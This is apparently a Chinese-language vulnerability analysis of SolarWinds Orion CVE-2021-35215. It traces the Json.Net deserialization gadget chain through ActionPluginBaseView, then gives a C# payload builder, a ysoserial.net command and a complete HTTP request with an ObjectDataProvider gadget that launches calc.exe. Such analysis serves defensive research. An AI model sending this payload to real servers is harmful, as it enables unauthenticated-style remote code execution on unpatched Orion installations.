SolarWinds Orion Platform ActionPluginBaseView 反序列化 (CVE-2021–35215)

Contents

SolarWinds Orion Platform ActionPluginBaseView 反序列化 (CVE-2021–35215)

分析

https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2

https://xz.aliyun.com/t/10413

该漏洞存在于 SolaWinds Orion Platform Core 版本, 即所有基于 Orion 的产品都会受到影响

入口点位于 /Orion/RenderControl.aspx.cs

LoadJsonData 解析 POST 数据

方法内部将其反序列化为 Dictionary 字典, 虽然使用了 JavaScriptSerializer, 但是并没有 SImpleTypeResolver, 因此不会调用任意 setter

后续先从字典中取出 Control 的值, 然后根据其内容分别调用 Activator.CreateInstance 或 loadControl 方法

https://learn.microsoft.com/zh-cn/dotnet/api/system.web.ui.templatecontrol.loadcontrol

loadControl 属于 .NET 内部类 TemplateControl 的方法, 作用是根据指定的虚拟路径从文件加载 Control 对象 (即 ascx 文件)

加载 control 对象后调用 ApplyPropertiesAndAttributes

获取 config 的内容, 然后传入 SetProperties

内部会取出 key 和 value, 然后使用反射设置属性 (Property)

在 .NET 中属性其实就是字段 + getter/setter, 所以上述过程会调用任意控件 (继承 System.Web.UI.Control) 的 setter

作者的思路是找到某个继承 System.Web.UI.Control 的类, 其属性的 setter 方法内部存在恶意操作

最终的 gadget 为 SolarWinds.Orion.Web.Actions.ActionPluginBaseView, 继承关系如下

Control -> TemplateControl -> UserControl -> ActionBaseView -> ActionPluginBaseView

其 ViewContextJsonString 属性

调用 ParseViewContext

内部使用 Json.Net 的 JsonConvert.DeserializeObject 进行反序列化, 并且开启了 TypeNameHandling

https://www.yuque.com/x1r0z/dotnet/bphie9piqo1htqee#wQYrl

当 DeserializeObject 指定泛型类型时其实不存在直接的反序列化漏洞, 思路是寻找指定类是否存在 object 类型的属性/字段

关注 AlertingActionContext, 其父类为 ActionContextBase

存在 MacroContext 属性

MacroContext 存在 Contexts 属性, 其类型为List<ContextBase>

ContextBase 是一个抽象类, 但是它存在 KnownType 属性

KnownType 特性用于 DataContractSerializer, 对于 Json.Net 其实没有什么用, 不过这里相当于间接说明了 ContextBase 的几个子类

关注 SwisEntityContext

EntityProperties 属性的类型为 PropertyBag

PropertyBag 继承了 Dictionary<string, object, 因此可以存放 object 类型的对象

至于最开始的 control 对象, 因为 ActionPluginBaseView 属于抽象类无法被实例化 (Activator.CreateInstance), 因此需要在网站目录下找到一个继承了 ActionPluginBaseView 的控件 (ascx)

~/Orion/Actions/Controls/CustomPropertyView.ascx

总结:

  1. 利用入口点的 JavaScriptSerializer 受限反序列化控制待加载的控件 (Control)
  2. 根据程序本身逻辑实现任意调用控件属性 setter
  3. 找到一个位于 SolarWinds 代码库的控件 ActionPluginBaseView, 其 setter 方法能够实现 Json.Net 反序列化 (类型为 AlertingActionContext)
  4. 寻找 AlertingActionContext 的某个能够放入 object 类型的字段, 实现 RCE

最后把上面的流程串起来, 构造 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;
using System;
using System.Collections.Generic;
using System.Web.Script.Serialization;

namespace SolarWindsDemo
{
    internal class Program
    {
        static void Main(string[] args)
        {
            PropertyBag propertyBag = new PropertyBag();
            propertyBag.Add("test", "<ObjectDataProvider-payload>");

            SwisEntityContext swisEntityContext = new SwisEntityContext();
            swisEntityContext.EntityProperties = propertyBag;

            MacroContext macroContext = new MacroContext();
            macroContext.Add(swisEntityContext);

            AlertingActionContext alertingActionContext = new AlertingActionContext();
            alertingActionContext.MacroContext = macroContext;

            JsonSerializerSettings settings = new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.Objects,
            };

            string viewContextJsonString = JsonConvert.SerializeObject(alertingActionContext, settings);
            Console.WriteLine(viewContextJsonString);

            Dictionary<string, object> props = new Dictionary<string, object>();
            props.Add("EnviromentType", "Alerting");
            props.Add("ViewContextJsonString", "viewContextJsonString");

            Dictionary<string, object> dict = new Dictionary<string, object>();
            dict.Add("Control", "SolarWinds.Orion.Web.Actions.ActionPluginBaseView");
            dict.Add("config", props);

            JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
            string data = javaScriptSerializer.Serialize(dict);

            Console.WriteLine(data);
        }
    }
}

ysoserial.net

1
ysoserial.exe -g ObjectDataProvider -f Json.Net -c calc.exe

AlertingActionContext json

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
{
	"$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models",
	"ExecutionMode": 0,
	"EnviromentType": 0,
	"EntityType": null,
	"EntityUri": null,
	"EntityUris": null,
	"IsGlobalAlert": false,
	"AlertContext": {
		"$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models",
		"AlertName": null,
		"CreatedBy": null
	},
	"AlertActiveId": null,
	"AlertObjectId": null,
	"NetObjectData": null,
	"ObjectDataExists": false,
	"MacroContext": {
		"$type": "SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1",
		"contexts": [{
			"$type": "SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1",
			"DisplayName": "Net object properties",
			"EntityType": null,
			"EntityUri": null,
			"EntityProperties": {
				"$type": "SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2",
				"test": {
					"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
					"MethodName": "Start",
					"MethodParameters": {
						"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
						"$values": ["cmd", "/c calc.exe"]
					},
					"ObjectInstance": {
						"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
					}
				}
			}
		}]
	}
}

payload

1
2
3
4
5
6
7
{
	"Control": "~/Orion/Actions/Controls/CustomPropertyView.ascx",
	"config": {
		"EnviromentType": "Alerting",
		"ViewContextJsonString": "{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",\"ExecutionMode\":0,\"EnviromentType\":0,\"EntityType\":null,\"EntityUri\":null,\"EntityUris\":null,\"IsGlobalAlert\":false,\"AlertContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",\"AlertName\":null,\"CreatedBy\":null},\"AlertActiveId\":null,\"AlertObjectId\":null,\"NetObjectData\":null,\"ObjectDataExists\":false,\"MacroContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",\"contexts\":[{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",\"DisplayName\":\"Net object properties\",\"EntityType\":null,\"EntityUri\":null,\"EntityProperties\":{\"$type\":\"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",\"test\":{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\"MethodName\":\"Start\",\"MethodParameters\":{\"$type\":\"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\"$values\":[\"cmd\",\"/c calc.exe\"]},\"ObjectInstance\":{\"$type\":\"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}}}}]}}"
	}
}

http

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /Orion/RenderControl.aspx HTTP/1.1
Host: 192.168.145.128:8787
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: __AntiXsrfToken=9e4ee1600ab144c6b867bae9a067f247; _ga=GA1.1.638848863.1707451391; _gid=GA1.1.286156450.1707451391; ASP.NET_SessionId=ru2amuqahk5gab5wlwb2jv1d; XSRF-TOKEN=a8lMFZBNIC9MkPR2aLYQrmiiO/ZdP1gwmLk1tWvhbkA=; _ga_L3BL75GKSG=GS1.1.1707458842.2.1.1707460610.0.0.0; .ASPXAUTH=8C80E91618194E231477BE1CB125B9555D3F29FF006E35D78ECB7306644E9F15EA3C4003FA1AC95A00950A084E4CBD0A1E251859AB225F2740C93CE5F9D38FF1A2A43423D4E82ED3BC1D84037B08D590002BF593E1527E2D5E463F1BEE761C74B29E4C277C48895BBED2AD2BCBC3D8B909878BC82F41E5BA9916A156E9CEF1A63A2ED260512F2D1E8537E2A8C6598AEEAD1873E487EDE3A15FC2D348AACE0E88B7E6E90A38D6B9183B7CB40100512051
Connection: close
Content-Type: application/json
Content-Length: 1624

{
    "Control": "~/Orion/Actions/Controls/CustomPropertyView.ascx",
    "config": {
        "EnviromentType": "Alerting",
        "ViewContextJsonString": "{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",\"ExecutionMode\":0,\"EnviromentType\":0,\"EntityType\":null,\"EntityUri\":null,\"EntityUris\":null,\"IsGlobalAlert\":false,\"AlertContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",\"AlertName\":null,\"CreatedBy\":null},\"AlertActiveId\":null,\"AlertObjectId\":null,\"NetObjectData\":null,\"ObjectDataExists\":false,\"MacroContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",\"contexts\":[{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",\"DisplayName\":\"Net object properties\",\"EntityType\":null,\"EntityUri\":null,\"EntityProperties\":{\"$type\":\"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",\"test\":{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\"MethodName\":\"Start\",\"MethodParameters\":{\"$type\":\"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\"$values\":[\"cmd\",\"/c calc.exe\"]},\"ObjectInstance\":{\"$type\":\"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}}}}]}}"
    }
}

0%